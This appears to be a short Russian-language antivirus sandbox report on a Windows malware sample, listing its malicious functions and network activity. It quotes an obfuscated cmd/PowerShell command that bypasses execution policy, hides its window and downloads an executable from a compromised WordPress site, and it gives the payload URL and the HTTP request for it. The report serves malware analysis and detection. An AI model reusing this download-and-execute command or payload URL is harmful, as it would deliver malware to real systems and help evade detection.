Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://aamd.com/wp-content/plugins/acismittor/0dgrhpzx/yl33kcob.exe как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "POwE^rsHElL.^Ex^E ^-Ex^EcU^t^ioN^POLICy ^b^Y^PA^S^s ^-NO^proFi^L^e -^w^indOwSTyle H^id^DEn (N^EW^-oBJect^ sySteM.^n^e^T^.wE^bC^LIeNt^).^D^oWnl^Oad^FI^LE('http://aamd.com/wp-c...
Сетевая активность
Подключается к
- 'aa##.com':80
TCP
Запросы HTTP GET
- http://aa##.com/wp-content/plugins/acismittor/0DGRhPzx/yL33KCoB.exe
UDP
- DNS ASK aa##.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "POwE^rsHElL.^Ex^E ^-Ex^EcU^t^ioN^POLICy ^b^Y^PA^S^s ^-NO^proFi^L^e -^w^indOwSTyle H^id^DEn (N^EW^-oBJect^ sySteM.^n^e^T^.wE^bC^LIeNt^).^D^oWnl^Oad^FI^LE('http://aamd.com/wp-c...' (со скрытым окном)
